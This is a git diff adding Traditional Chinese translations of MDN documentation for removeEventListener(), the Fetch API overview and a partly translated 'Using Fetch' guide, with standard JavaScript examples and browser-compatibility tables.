+ <li><a href="/docs/Web/Reference/Events">Event reference</a> - the events available in the platform.</li>
+ <li><a href="/docs/Web/Guide/DOM/Events">Event developer guide</a></li>
+ <li>{{domxref("Event")}} interface</li>
+</ul>
diff --git a/files/zh-tw/web/api/eventtarget/removeeventlistener/index.html b/files/zh-tw/web/api/eventtarget/removeeventlistener/index.html
new file mode 100644
index 0000000000..136aa0cf58
--- /dev/null
+++ b/files/zh-tw/web/api/eventtarget/removeeventlistener/index.html
@@ -0,0 +1,274 @@
+---
+title: EventTarget.removeEventListener()
+slug: Web/API/EventTarget/removeEventListener
+translation_of: Web/API/EventTarget/removeEventListener
+---
+<p>{{APIRef("DOM Events")}}</p>
+
+<p><strong><code>EventTarget.removeEventListener()</code></strong> 方法可以移除先前由 {{domxref("EventTarget.addEventListener()", "addEventListener()")}} 所註冊的事件監聽器。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><code><em>target</em>.removeEventListener(<em>type</em>, <em>listener</em>[, <em>options</em>]);
+</code><em>target</em>.removeEventListener(<em>type</em>, <em>listener</em>[, <em>useCapture</em>]);
+</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>type</code></dt>
+ <dd>A string representing the event type to remove.</dd>
+ <dt><code>listener</code></dt>
+ <dd>The {{domxref("EventListener")}} function to remove from the event target.</dd>
+ <dt>options {{optional_inline}}</dt>
+ <dd>An options object that specifies characteristics about the event listener. The available options are:
+ <ul>
+  <li><code>capture</code>: A {{jsxref("Boolean")}} that indicates that events of this type will be dispatched to the registered <code>listener</code> before being dispatched to any <code>EventTarget</code> beneath it in the DOM tree.  </li>
+  <li><code>passive</code>: A {{jsxref("Boolean")}} indicating that the <code>listener</code> will never call <code>preventDefault()</code>. If it does, the user agent should ignore it and generate a console warning.</li>
+  <li>{{non-standard_inline}}<code> mozSystemGroup</code>: Available only in code running in XBL or in Firefox' chrome, it is a {{jsxref("Boolean")}} defining if the listener is added to the system group.</li>
+ </ul>
+ </dd>
+ <dt><code>useCapture</code> {{optional_inline}}</dt>
+ <dd>Specifies whether the {{domxref("EventListener")}} to be removed is registered as a capturing listener or not. If this parameter is absent, a default value of <code>false</code> is assumed.</dd>
+ <dd>If a listener is registered twice, one with capture and one without, remove each one separately. Removal of a capturing listener does not affect a non-capturing version of the same listener, and vice versa.</dd>
+</dl>
+
+<div class="note"><strong>Note:</strong> <code>useCapture</code> was required in most major browsers' early versions. If broad compatibility is desired, you should always provide the <code>useCapture</code> parameter.</div>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>無。</p>
+
+<h2 id="備註">備註</h2>
+
+<p>If an {{domxref("EventListener")}} is removed from an {{domxref("EventTarget")}} while it is processing an event, it will not be triggered by the current actions. An {{domxref("EventListener")}} will not be invoked for the event it was registered for after being removed, however it can be reattached.</p>
+
+<p>Calling <code>removeEventListener()</code> with arguments that do not identify any currently registered {{domxref("EventListener")}} on the <code>EventTarget</code> has no effect.</p>
+
+<h2 id="範例">範例</h2>
+
+<p>This example shows how to add a <code>click</code>-based event listener and remove a <code>mouseover</code>-based event listener.</p>
+
+<pre class="brush: js">var body =
+        document.querySelector('body'),
+    clickTarget =
+        document.getElementById('click-target'),
+    mouseOverTarget =
+        document.getElementById('mouse-over-target'),
+    toggle = false;
+
+function makeBackgroundYellow() {
+    'use strict';
+
+    if (toggle) {
+        body.style.backgroundColor = 'white';
+    } else {
+        body.style.backgroundColor = 'yellow';
+    }
+
+    toggle = !toggle;
+}
+
+clickTarget.addEventListener('click',
+    makeBackgroundYellow,
+    false
+);
+
+mouseOverTarget.addEventListener('mouseover', function () {
+    'use strict';
+
+    clickTarget.removeEventListener('click',
+        makeBackgroundYellow,
+        false
+    );
+});
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-eventtarget-removeeventlistener", "EventTarget.removeEventListener()")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM4", "#dom-eventtarget-removeeventlistener", "EventTarget.removeEventListener()")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Events", "#Events-EventTarget-removeEventListener", "EventTarget.removeEventListener()")}}</td>
+   <td>{{Spec2("DOM2 Events")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0<sup>[1][2]</sup></td>
+   <td>{{CompatGeckoDesktop("1")}}<sup>[3]</sup></td>
+   <td>9.0</td>
+   <td>7<sup>[4]</sup></td>
+   <td>1.0<sup>[1]</sup></td>
+  </tr>
+  <tr>
+   <td><code>useCapture</code> made optional</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>6.0</td>
+   <td>9.0</td>
+   <td>11.60</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>options</code> parameter</td>
+   <td>{{CompatChrome(49.0)}}</td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}<sup>[2]</sup></td>
+   <td>{{CompatGeckoMobile("1")}}<sup>[3]</sup></td>
+   <td>9.0</td>
+   <td>6.0<sup>[4]</sup></td>
+   <td>1.0<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}<sup>[2]</sup></td>
+  </tr>
+  <tr>
+   <td><code>useCapture</code> made optional</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>options</code> parameter</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(49.0)}}</td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td>{{CompatChrome(49.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Although WebKit explicitly added "<code>[optional]</code>" to the <code>useCapture</code> parameter for Safari 5.1 and Chrome 13, it had been working before the change.</p>
+
+<p>[2] Before Chrome 49, the type and listener parameters were optional.</p>
+
+<p>[2] Prior to Firefox 6, the browser would throw an exception if the <code>useCapture</code> parameter was not explicitly <code>false</code>. Prior to Gecko 9.0 {{geckoRelease("9.0")}}, <code>addEventListener()</code> would throw an exception if the listener parameter was <code>null</code>; now the method returns without error, but without doing anything.</p>
+
+<p>[4] Opera 11.60 made the <code>useCapture</code> parameter optional (<a href="http://my.opera.com/ODIN/blog/2011/09/29/what-s-new-in-opera-development-snapshots-28-september-2011-edition">source</a>).</p>
+
+<p>[5] For backwards compatibility, browsers that support <code>options</code> allow the third parameter to be either <code>options</code> or <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a>.</p>
+
+<h2 id="Polyfill_to_support_older_browsers">Polyfill to support older browsers</h2>
+
+<p><code>addEventListener()</code> and <code>removeEventListener()</code> are not present in older browsers. You can work around this by inserting the following code at the beginning of your scripts, allowing the use of <code>addEventListener()</code> and <code>removeEventListener()</code> in implementations that do not natively support it. However, this method will not work on Internet Explorer 7 or earlier, since extending the Element.prototype was not supported until Internet Explorer 8.</p>
+
+<pre class="brush: js">if (!Element.prototype.addEventListener) {
+  var oListeners = {};
+  function runListeners(oEvent) {
+    if (!oEvent) { oEvent = window.event; }
+    for (var iLstId = 0, iElId = 0, oEvtListeners = oListeners[oEvent.type]; iElId &lt; oEvtListeners.aEls.length; iElId++) {
+      if (oEvtListeners.aEls[iElId] === this) {
+        for (iLstId; iLstId &lt; oEvtListeners.aEvts[iElId].length; iLstId++) { oEvtListeners.aEvts[iElId][iLstId].call(this, oEvent); }
+        break;
+      }
+    }
+  }
+  Element.prototype.addEventListener = function (sEventType, fListener /*, useCapture (will be ignored!) */) {
+    if (oListeners.hasOwnProperty(sEventType)) {
+      var oEvtListeners = oListeners[sEventType];
+      for (var nElIdx = -1, iElId = 0; iElId &lt; oEvtListeners.aEls.length; iElId++) {
+        if (oEvtListeners.aEls[iElId] === this) { nElIdx = iElId; break; }
+      }
+      if (nElIdx === -1) {
+        oEvtListeners.aEls.push(this);
+        oEvtListeners.aEvts.push([fListener]);
+        this["on" + sEventType] = runListeners;
+      } else {
+        var aElListeners = oEvtListeners.aEvts[nElIdx];
+        if (this["on" + sEventType] !== runListeners) {
+          aElListeners.splice(0);
+          this["on" + sEventType] = runListeners;
+        }
+        for (var iLstId = 0; iLstId &lt; aElListeners.length; iLstId++) {
+          if (aElListeners[iLstId] === fListener) { return; }
+        }
+        aElListeners.push(fListener);
+      }
+    } else {
+      oListeners[sEventType] = { aEls: [this], aEvts: [ [fListener] ] };
+      this["on" + sEventType] = runListeners;
+    }
+  };
+  Element.prototype.removeEventListener = function (sEventType, fListener /*, useCapture (will be ignored!) */) {
+    if (!oListeners.hasOwnProperty(sEventType)) { return; }
+    var oEvtListeners = oListeners[sEventType];
+    for (var nElIdx = -1, iElId = 0; iElId &lt; oEvtListeners.aEls.length; iElId++) {
+      if (oEvtListeners.aEls[iElId] === this) { nElIdx = iElId; break; }
+    }
+    if (nElIdx === -1) { return; }
+    for (var iLstId = 0, aElListeners = oEvtListeners.aEvts[nElIdx]; iLstId &lt; aElListeners.length; iLstId++) {
+      if (aElListeners[iLstId] === fListener) { aElListeners.splice(iLstId, 1); }
+    }
+  };
+}
+</pre>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{domxref("EventTarget.addEventListener()")}}.</li>
+ <li>{{non-standard_inline}}{{domxref("EventTarget.detachEvent()")}}.</li>
+</ul>
diff --git a/files/zh-tw/web/api/fetch_api/index.html b/files/zh-tw/web/api/fetch_api/index.html
new file mode 100644
index 0000000000..2cd6f23d22
--- /dev/null
+++ b/files/zh-tw/web/api/fetch_api/index.html
@@ -0,0 +1,84 @@
+---
+title: Fetch API
+slug: Web/API/Fetch_API
+translation_of: Web/API/Fetch_API
+---
+<div>{{DefaultAPISidebar("Fetch API")}}</div>
+
+<div>Fetch API 提供了一個能獲取包含跨網路資源在的資源介面。它有點像我們所熟悉的 {{domxref("XMLHttpRequest")}} ，但這個新的 API 提供了更強更彈性的功能。</div>
+
+<h2 id="概念與應用">概念與應用</h2>
+
+<p>Fetch 提供了 {{domxref("Request")}} 與 {{domxref("Response")}} 物件，還有其他牽涉網路請求的通用定義。這能讓他們在需要的時候被使用到，不管是 service worker、Cache API、還是其他處理或更動請求回應的相類事物、或是任何需要產生有序化產生回應的用例（use case）。</p>
+
+<p>它也提供了諸如 CORS 與 HTTP origin 標頭語意的分散定義，能取代分散的定義。</p>
+
+<p>要發動請求並取得資源的話，請使用 {{domxref("GlobalFetch.fetch")}} 方法。他實作了數種介面，並指定了 {{domxref("Window")}} 與 {{domxref("WorkerGlobalScope")}}，使它可以在任何想獲取資源的環境中使用。</p>
+
+<p><code>fetch()</code> 方法有一個強制性的參數，就是要取得資源的網址。該方法會回傳一個不論請求成敗，都會 resolve 的 promise {{domxref("Response","回應")}}。你也能選擇性地使用第二個稱為 <code>init</code> 的物件參數（請參見 {{domxref("Request")}}）。</p>
+
+<p>當 {{domxref("Response")}} 檢索後，在請求體裡面會定義一些請求體為何，還有要如何處理的方法（請參見 {{domxref("Body")}}）。</p>
+
+<p>你也可以直接用 {{domxref("Request.Request","Request()")}} 與 {{domxref("Response.Response","Response()")}} 建構子來建立請求與回應，不過你不太可能直接使用他，反而更可能是以其他 API 行動的結果為形式存在。（例如來自 service worker 的 {{domxref("FetchEvent.respondWith")}}）</p>
+
+<div class="note">
+<p><strong>注意</strong>：你可以在<a href="/zh-TW/docs/Web/API/Fetch_API/Using_Fetch">使用 Fetch</a>深入理解 Fetch，並在<a href="/zh-TW/docs/Web/API/Fetch_API/Basic_concepts">Fetch 的基本概念</a>文章內理解概念。</p>
+</div>
+
+<h3 id="中斷一次_Fetch">中斷一次 Fetch</h3>
+
+<p>各家瀏覽器已經開始加入 {{DOMxRef("AbortController")}} 與 {{DOMxRef("AbortSignal")}} 介面（也就是 Abort API）的實驗性支援，讓 Fetch 和 XHR 這類的操作在完成前可以被中斷。詳情請參閱相關介面的文件。</p>
+
+<h2 id="Fetch_介面">Fetch 介面</h2>
+
+<dl>
+ <dt>{{DOMxRef("WindowOrWorkerGlobalScope.fetch()")}}</dt>
+ <dd>用於取得資源的 <code>fetch()</code> 方法。</dd>
+ <dt>{{domxref("Headers")}}</dt>
+ <dd>代表請求/回應標頭，讓你能 query 並針對結果不同，採取不同行動。</dd>
+ <dt>{{domxref("Request")}}</dt>
+ <dd>代表資源請求。</dd>
+ <dt>{{domxref("Response")}}</dt>
+ <dd>代表資源請求的回應。</dd>
+</dl>
+
+<h2 id="Fetch_mixin">Fetch mixin</h2>
+
+<dl>
+ <dt>{{domxref("Body")}}</dt>
+ <dd>提供請求/回應訊息體的相關方法，能宣告內容的類別為何，以及該如何處理。</dd>
+</dl>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註解</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td>初始定義</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.</div>
+
+<p>{{Compat("api.WindowOrWorkerGlobalScope.fetch")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/zh-TW/docs/Web/API/Fetch_API/Using_Fetch">使用 Fetch</a></li>
+ <li><a href="/zh-TW/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/zh-TW/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+ <li><a href="/zh-TW/docs/Web/HTTP">HTTP</a></li>
+ <li><a href="https://github.com/github/fetch">Fetch polyfill</a></li>
+ <li><a href="/zh-TW/docs/Web/API/Fetch_API/Basic_concepts">Fetch 基本概念</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/fetch_api/using_fetch/index.html b/files/zh-tw/web/api/fetch_api/using_fetch/index.html
new file mode 100644
index 0000000000..3af949b659
--- /dev/null
+++ b/files/zh-tw/web/api/fetch_api/using_fetch/index.html
@@ -0,0 +1,379 @@
+---
+title: Using Fetch
+slug: Web/API/Fetch_API/Using_Fetch
+tags:
+  - Fetch
+  - HTTP
+  - Promise
+  - Response
+  - request
+translation_of: Web/API/Fetch_API/Using_Fetch
+---
+<p>{{DefaultAPISidebar("Fetch API")}}</p>
+
+<div class="summary">
+<p><a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a> 提供了一種 JavaScript Interface 來操作 HTTP pipeline，比方 request 和 response。同時它也提供了 global 的 {{domxref("GlobalFetch.fetch","fetch()")}} method，使得在網路上非同步地 fetch resources 這件事變得簡單易懂。</p>
+</div>
+
+<p>同樣的功能，以前都是使用 {{domxref("XMLHttpRequest")}}，而 Fetch 作為其替代方案，能更方便地整合在如 {{domxref("ServiceWorker_API", "Service Workers")}} 等相關技術上。此外，Fetch 具備額外的 logical palce，能拿來定義其他和 HTTP 有關的東西，像是 CORS 和 HTTP extensions。</p>
+
+<p> <code>fetch</code> 和 <code>jQuery.ajax()</code> 有三個主要的差異:</p>
+
+<ul>
+ <li><code>fetch()</code> 回傳的 promise <strong>不會 reject HTTP 的 error status</strong>，就算是 HTTP 404 或 500 也一樣。相反地，它會正常地 resolve，並把 <code>ok</code> status 設為 false。會讓它發生 reject 的只有網路錯誤或其他會中斷 request 的情況。</li>
+ <li><code>fetch</code> <strong>可以接收跨站的 cookies</strong>，你可以用 Fetch 來建立跨站的 session。</li>
+ <li><code>fetch</code> <strong>不會傳送 cookies</strong>，除非你有設定 credentials 的 <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch#Parameters">init option</a>。 (Since <a href="https://github.com/whatwg/fetch/pull/585" rel="nofollow noopener">Aug 25, 2017</a>. The spec changed the default credentials policy to <code>same-origin</code>. Firefox changed since 61.0b13.)</li>
+</ul>
+
+<h2 id="使用_Fetch_發送請求_request">使用 Fetch 發送請求 ( request )</h2>
+
+<p>用法簡單，如下:</p>
+
+<pre class="brush: js notranslate">fetch('http://example.com/movies.json')
+  .then(function(response) {
+    return response.json();
+  })
+  .then(function(myJson) {
+    console.log(myJson);
+  });
+
+</pre>
+
+<p>這裡要使用 fetch 透過網路取得 json 然後印出在 console，最簡單的方式只需要一個參數就是資料的 URI，fetch 會回傳一個包含 response 的 promise 。</p>
+
+<p>這個範例使用的 url 只是示意用。</p>
+
+<p>回傳的 response 需要透過 {{domxref("Body.json","json()")}} (在 {{domxref("Body")}} 可以找到定義, Body 是用 {{domxref("Request")}} 和 {{domxref("Response")}} 實作出來的物件.)</p>
+
+<div class="note">
+<p><strong>備註</strong>: 其實 Body 還提供了其他類似的功能可以將內容輸成其他類型格式，詳見{{anch("Body")}} </p>
+</div>
+
+<p>Fetch 請求的安全性 <a href="/en-US/docs/Security/CSP/CSP_policy_directives">Content Security Policy</a>(內容安全策略) 是由 header 中的 <code>connect-src</code> directive 所設定 ，並非其他 directive ( 比如：img-src、default-src 等)。</p>
+
+<h3 id="Request_可用的設定值">Request 可用的設定值</h3>
+
+<p><code>fetch()</code> 第二個參數是選用的，可以傳送一個 <code>init</code> Object 來設定 request。</p>
+
+<p>更多可以用的設定值詳見 {{domxref("GlobalFetch.fetch","fetch()")}} </p>
+
+<pre class="brush: js notranslate">// 來發個 POST Request:
+
+postData('http://example.com/answer', {answer: 42})
+  .then(data =&gt; console.log(data)) // JSON from `response.json()` call
+  .catch(error =&gt; console.error(error))
+
+function postData(url, data) {
+  // Default options are marked with *
+  return fetch(url, {
+    body: JSON.stringify(data), // must match 'Content-Type' header
+    cache: 'no-cache', // *default, no-cache, reload, force-cache, only-if-cached
+    credentials: 'same-origin', // include, same-origin, *omit
+    headers: {
+      'user-agent': 'Mozilla/4.0 MDN Example',
+      'content-type': 'application/json'
+    },
+    method: 'POST', // *GET, POST, PUT, DELETE, etc.
+    mode: 'cors', // no-cors, cors, *same-origin
+    redirect: 'follow', // manual, *follow, error
+    referrer: 'no-referrer', // *client, no-referrer
+  })
+  .then(response =&gt; response.json()) // 輸出成 json
+}
+</pre>
+
+<h3 id="包含憑證Credentials_的_Request_用法">包含憑證(Credentials) 的 Request 用法</h3>
+
+<p>要讓瀏覽器將 credentials 跟著 request 一起送出, 方式就是在 <code>init</code> object 加上 <code>credentials: 'include'</code> </p>
+
+<pre class="brush: js notranslate">fetch('https://example.com', {
+  credentials: 'include'
+})</pre>
+
+<p>如果只想要把 credentials 發送給同源的 URL ，加上<code>credentials: 'same-origin'</code>。</p>
+
+<pre class="brush: js notranslate">// The calling script is on the origin 'https://example.com'
+
+fetch('https://example.com', {
+  credentials: 'same-origin'
+})</pre>
+
+<p>或要確保瀏覽器不會帶著 credentials 請求，可以用 <code>credentials: 'omit'</code> 。</p>
+
+<pre class="brush: js notranslate">fetch('https://example.com', {
+  credentials: 'omit'
+})</pre>
+
+<h3 id="上傳JSON資料">上傳JSON資料</h3>
+
+<p>使用 {{domxref("GlobalFetch.fetch","fetch()")}} 來 POST JSON 格式的資料。</p>
+
+<pre class="brush: js notranslate">var url = 'https://example.com/profile';
+var data = {username: 'example'};
+
+fetch(url, {
+  method: 'POST', // or 'PUT'
+  body: JSON.stringify(data), // data can be `string` or {object}!
+  headers: new Headers({
+    'Content-Type': 'application/json'
+  })
+}).then(res =&gt; res.json())
+.catch(error =&gt; console.error('Error:', error))
+.then(response =&gt; console.log('Success:', response));
+</pre>
+
+<h3 id="上傳檔案">上傳檔案</h3>
+
+<p>上傳檔案可以透過使用HTML <code>&lt;input type="file" /&gt;</code> input element, {{domxref("FormData.FormData","FormData()")}} 與{{domxref("GlobalFetch.fetch","fetch()")}}.</p>
+
+<pre class="brush: js notranslate">var formData = new FormData();
+var fileField = document.querySelector("input[type='file']");
+
+formData.append('username', 'abc123');
+formData.append('avatar', fileField.files[0]);
+
+fetch('https://example.com/profile/avatar', {
+  method: 'PUT',
+  body: formData
+})
+.then(response =&gt; response.json())
+.catch(error =&gt; console.error('Error:', error))
+.then(response =&gt; console.log('Success:', response));
+</pre>
+
+<h3 id="如何確認fetch是否成功">如何確認fetch是否成功</h3>
+
+<p>當{{domxref("GlobalFetch.fetch","fetch()")}}遇到CORS或server設定錯誤導致network error時,  promise會reject並附上{{jsxref("TypeError")}}的回應, 但在權限或類似問題導致404的常見狀況下, 卻不會導致network error.</p>
+
+<p>因此, 確認<code>fetch()</code>是否成功的正確方式, 應包含檢查promise resolved, 以及檢查{{domxref("Response.ok")}}的屬性是否為true. 代碼如下例：</p>
+
+<pre class="brush: js notranslate">fetch('flowers.jpg').then(function(response) {
+  if(response.ok) {
+    return response.blob();
+  }
+  throw new Error('Network response was not ok.');
+}).then(function(myBlob) {
+  var objectURL = URL.createObjectURL(myBlob);
+  myImage.src = objectURL;
+}).catch(function(error) {
+  console.log('There has been a problem with your fetch operation: ', error.message);
+});</pre>
+
+<h3 id="Supplying_your_own_request_object">Supplying your own request object</h3>
+
+<p>Instead of passing a path to the resource you want to request into the <code>fetch()</code> call, you can create a request object using the {{domxref("Request.Request","Request()")}} constructor, and pass that in as a <code>fetch()</code> method argument:</p>
+
+<pre class="brush: js notranslate">var myHeaders = new Headers();
+
+var myInit = { method: 'GET',
+               headers: myHeaders,
+               mode: 'cors',
+               cache: 'default' };
+
+var myRequest = new Request('flowers.jpg', myInit);
+
+fetch(myRequest).then(function(response) {
+  return response.blob();
+}).then(function(myBlob) {
+  var objectURL = URL.createObjectURL(myBlob);
+  myImage.src = objectURL;
+});</pre>
+
+<p><code>Request()</code> accepts exactly the same parameters as the <code>fetch()</code> method. You can even pass in an existing request object to create a copy of it:</p>
+
+<pre class="brush: js notranslate">var anotherRequest = new Request(myRequest, myInit);</pre>
+
+<p>This is pretty useful, as request and response bodies are one use only. Making a copy like this allows you to make use of the request/response again, while varying the <code>init</code> options if desired.  The copy must be made before the body is read, and reading the body in the copy will also mark it as read in the original request.</p>
+
+<div class="note">
+<p><strong>Note</strong>: There is also a {{domxref("Request.clone","clone()")}} method that creates a copy. Both methods of creating a copy will fail if the body of the original request or response has already been read, but reading the body of a cloned response or request will not cause it to be marked as read in the original.</p>
+</div>
+
+<h2 id="Headers">Headers</h2>
+
+<p>The {{domxref("Headers")}} interface allows you to create your own headers object via the {{domxref("Headers.Headers","Headers()")}} constructor. A headers object is a simple multi-map of names to values:</p>
+
+<pre class="brush: js notranslate">var content = "Hello World";
+var myHeaders = new Headers();
+myHeaders.append("Content-Type", "text/plain");
+myHeaders.append("Content-Length", content.length.toString());
+myHeaders.append("X-Custom-Header", "ProcessThisImmediately");</pre>
+
+<p>The same can be achieved by passing an array of arrays or an object literal to the constructor:</p>
+
+<pre class="brush: js notranslate">myHeaders = new Headers({
+  "Content-Type": "text/plain",
+  "Content-Length": content.length.toString(),
+  "X-Custom-Header": "ProcessThisImmediately",
+});</pre>
+
+<p>The contents can be queried and retrieved:</p>
+
+<pre class="brush: js notranslate">console.log(myHeaders.has("Content-Type")); // true
+console.log(myHeaders.has("Set-Cookie")); // false
+myHeaders.set("Content-Type", "text/html");
+myHeaders.append("X-Custom-Header", "AnotherValue");
+
+console.log(myHeaders.get("Content-Length")); // 11
+console.log(myHeaders.get("X-Custom-Header")); // ["ProcessThisImmediately", "AnotherValue"]
+
+myHeaders.delete("X-Custom-Header");
+console.log(myHeaders.get("X-Custom-Header")); // [ ]</pre>
+
+<p>Some of these operations are only useful in {{domxref("ServiceWorker_API","ServiceWorkers")}}, but they provide a much nicer API for manipulating headers.</p>
+
+<p>All of the Headers methods throw a <code>TypeError</code> if a header name is used that is not a valid HTTP Header name. The mutation operations will throw a <code>TypeError</code> if there is an immutable guard (see below). Otherwise they fail silently. For example:</p>
+
+<pre class="brush: js notranslate">var myResponse = Response.error();
+try {
+  myResponse.headers.set("Origin", "http://mybank.com");
+} catch(e) {
+  console.log("Cannot pretend to be a bank!");
+}</pre>
+
+<p>A good use case for headers is checking whether the content type is correct before you process it further. For example:</p>
+
+<pre class="brush: js notranslate">fetch(myRequest).then(function(response) {
+    var contentType = response.headers.get("content-type");
+    if(contentType &amp;&amp; contentType.includes("application/json")) {
+      return response.json();
+    }
+    throw new TypeError("Oops, we haven't got JSON!");
+  })
+  .then(function(json) { /* process your JSON further */ })
+  .catch(function(error) { console.log(error); });</pre>
+
+<h3 id="Guard">Guard</h3>
+
+<p>Since headers can be sent in requests and received in responses, and have various limitations about what information can and should be mutable, headers objects have a guard property. This is not exposed to the Web, but it affects which mutation operations are allowed on the headers object.</p>
+
+<p>Possible guard values are:</p>
+
+<ul>
+ <li><code>none</code>: default.</li>
+ <li><code>request</code>: guard for a headers object obtained from a request ({{domxref("Request.headers")}}).</li>
+ <li><code>request-no-cors</code>: guard for a headers object obtained from a request created with {{domxref("Request.mode")}} <code>no-cors</code>.</li>
+ <li><code>response</code>: guard for a Headers obtained from a response ({{domxref("Response.headers")}}).</li>
+ <li><code>immutable</code>: Mostly used for ServiceWorkers; renders a headers object read-only.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: You may not append or set a <code>request</code> guarded Headers’ <code>Content-Length</code> header. Similarly, inserting <code>Set-Cookie</code> into a response header is not allowed: ServiceWorkers are not allowed to set cookies via synthesized responses.</p>
+</div>
+
+<h2 id="Response_objects">Response objects</h2>
+
+<p>As you have seen above, {{domxref("Response")}} instances are returned when <code>fetch()</code> promises are resolved.</p>
+
+<p>The most common response properties you'll use are:</p>
+
+<ul>
+ <li>{{domxref("Response.status")}} — An integer (default value 200) containing the response status code.</li>
+ <li>{{domxref("Response.statusText")}} — A string (default value "OK"), which corresponds to the HTTP status code message.</li>
+ <li>{{domxref("Response.ok")}} — seen in use above, this is a shorthand for checking that status is in the range 200-299 inclusive. This returns a {{domxref("Boolean")}}.</li>
+</ul>
+
+<p>They can also be created programmatically via JavaScript, but this is only really useful in {{domxref("ServiceWorker_API", "ServiceWorkers")}}, when you are providing a custom response to a received request using a {{domxref("FetchEvent.respondWith","respondWith()")}} method:</p>
+
+<pre class="brush: js notranslate">var myBody = new Blob();
+
+addEventListener('fetch', function(event) { // ServiceWorker intercepting a fetch
+  event.respondWith(
+    new Response(myBody, {
+      headers: { "Content-Type" : "text/plain" }
+    })
+  );
+});</pre>
+
+<p>The {{domxref("Response.Response","Response()")}} constructor takes two optional arguments — a body for the response, and an init object (similar to the one that {{domxref("Request.Request","Request()")}} accepts.)</p>
+
+<ul>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: The static method {{domxref("Response.error","error()")}} simply returns an error response. Similarly, {{domxref("Response.redirect","redirect()")}} returns a response resulting in a redirect to a specified URL. These are also only relevant to Service Workers.</p>
+</div>
+
+<h2 id="Body">Body</h2>
+
+<p>Both requests and responses may contain body data. A body is an instance of any of the following types:</p>
+
+<ul>
+ <li>{{domxref("ArrayBuffer")}}</li>
+ <li>{{domxref("ArrayBufferView")}} (Uint8Array and friends)</li>
+ <li>{{domxref("Blob")}}/File</li>
+ <li>string</li>
+ <li>{{domxref("URLSearchParams")}}</li>
+ <li>{{domxref("FormData")}}</li>
+</ul>
+
+<p>The {{domxref("Body")}} mixin defines the following methods to extract a body (implemented by both {{domxref("Request")}} and {{domxref("Response")}}). These all return a promise that is eventually resolved with the actual content.</p>
+
+<ul>
+ <li>{{domxref("Body.arrayBuffer","arrayBuffer()")}}</li>
+ <li>{{domxref("Body.blob","blob()")}}</li>
+ <li>{{domxref("Body.json","json()")}}</li>
+ <li>{{domxref("Body.text","text()")}}</li>
+ <li>{{domxref("Body.formData","formData()")}}</li>
+</ul>
+
+<p>This makes usage of non-textual data much easier than it was with XHR.</p>
+
+<p>Request bodies can be set by passing body parameters:</p>
+
+<pre class="brush: js notranslate">var form = new FormData(document.getElementById('login-form'));
+fetch("/login", {
+  method: "POST",
+  body: form
+});</pre>
+
+<p>Both request and response (and by extension the <code>fetch()</code> function), will try to intelligently determine the content type. A request will also automatically set a <code>Content-Type</code> header if none is set in the dictionary.</p>
+
+<h2 id="特性偵測">特性偵測</h2>
+
